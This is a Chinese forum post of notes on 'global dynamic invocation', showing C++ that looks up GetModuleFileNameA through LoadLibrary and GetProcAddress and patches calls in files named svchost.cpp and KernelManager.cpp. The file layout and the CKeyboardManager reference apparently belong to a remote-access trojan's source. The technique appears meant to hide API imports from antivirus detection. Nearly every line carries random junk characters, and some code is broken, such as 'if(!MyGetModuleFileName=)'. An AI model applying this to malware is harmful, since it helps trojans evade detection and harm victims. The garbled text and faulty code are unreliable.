返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
: D7 y6 w6 M2 \6 J4 zsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
# s# G5 c. T# q, I4 j9 q----------------------------------------
/ @) q. X' n7 \' Z: G, N# SDTDY.h:
" T, W; R$ N& `
1 {& m+ G) G- o! `" s  p0 F# j#if _MSC_VER>1000& c) h+ x2 @& h8 k: r4 |
#pragma once6 X- g: L8 z% ~$ }# s- ^
#endif //_MSC_VER>1000
- ]  V- d  W4 v& l1 g1 d& h#include<windows.h>
3 O! E4 I. K; [' ^% w5 E1 i7 d. [& Q$ c) q) {9 |
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  C! f+ i  h1 p* n4 T1 z
class DTDY4 H; b+ t- C  b" x, r
{
. g; d9 ], {* _4 Ypublic:
% b! A$ z1 w- W4 s$ iDTDY();) b. B- R- B: V# @( W* M+ v
virtual ~DTDY();0 A% E& x2 S+ ]- L$ w# c. g8 Q
public:4 l8 D+ h  J$ v! c. s0 Q
static pGetModuleFileNameA MyGetModuleFileName;+ G; O- J; k" J
static BOOL FunInitiallization();
# I( q: m1 c# G. ?};* V& j- R# f6 @
#endif" d5 `# ~6 S" q" L! {
----------------------------------------
; A/ h( y' V: b; v, D
+ `4 }" R# L. M5 C, ]  j: }3 sDTDY.cpp:+ k2 C/ u( v! C
. B* B2 t/ R" Y+ j) z8 J% Q2 M
#include "DTDY.h"
2 A) t9 x; M3 X1 o" ]' GpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;7 E& X0 i6 T5 w, O7 t
DTDY:TDY(), E. C0 ]/ R0 m" q
{
2 v' |: u. V# p) [7 [3 [7 j}$ B* J4 e+ i' e9 h( J' M. ^6 e
DTDY::~DTDY()
: D$ U. S- m& X' f{: L0 f7 q$ `' ^- c
}
( G4 j/ }6 I& S$ N% E* oBOOL DTDY::FunInitiallization()
9 H# Q$ e! x# G1 C* q, w8 h; m& ?{$ v3 B& U0 X3 A  M! m% g
HMODULE hModule=LoadLibrary("kernel32.dll");
% x+ B, g9 ~+ z8 {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");, O% S3 E  j8 z/ t: ]
if(!MyGetModuleFileName=) return FALSE;- F2 f9 A0 }2 b

; t: ~, E) e* _4 v# `9 oreturn TRUE;
3 t$ M$ ~- t2 J! ?# I& x* Z8 [$ v}
! [' Q+ V2 v, y- H: ^----------------------------------------
  u: K  r  a! t8 h) jsvchost.cpp:
) e: e& t  ~! M+ [2 k% }5 Q* D; C' P& r& H) L
#include "DTDY.h"
+ C" i" }$ g& |9 k; N) K0 W
8 s$ v0 |/ ~7 z: \: ^5 BBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
. T' v& h8 z6 a9 {  Q$ K: [{$ i4 E7 n. k/ [5 e9 b+ I7 ?
switch(ul_reason_for_call)" k4 X; a, e6 K/ c
{
2 h6 o1 j2 r8 icase DLL_PROCESS_ATTACH:" f4 Z5 s# n/ J5 l5 `" O! `! S+ B
if(!DTDY::FunInitiallization()) return FALSE;* `( {: Q' y0 [/ N( V- d, }. K
1 e; b  O! p. W% C+ e
break;0 w& ~) ^6 ?% I5 q
}
% Z0 y9 F# R. ]( t( b$ f% e}7 {6 {5 J, q; |0 `. |: [4 i
/ ?6 L2 k8 w) k9 L5 W; F, L

7 r, a/ Y( i3 E+ W& `! P& [GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 y# `9 S2 v+ g
改写为
1 D4 j/ M. I% n0 V7 GDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- S) m/ Y( z* Z5 c, @8 g1 s
----------------------------------------
3 A& N! a) v  [$ k, L9 kKernelManager.cpp:
. e: B9 k( `( V* m- P( [0 R7 F( K
4 F# I+ B- n' M+ _% O  X- O#include "../DTDY.h"
, y" g7 z5 L) B/ M- g6 KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));+ D& e: Z* ^$ k" s3 F4 F; P, ]+ ~
改写为. D3 J1 J- G( P
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
7 f( J5 u+ F! X2 ^; W( o0 o' k----------------------------------------

返回列表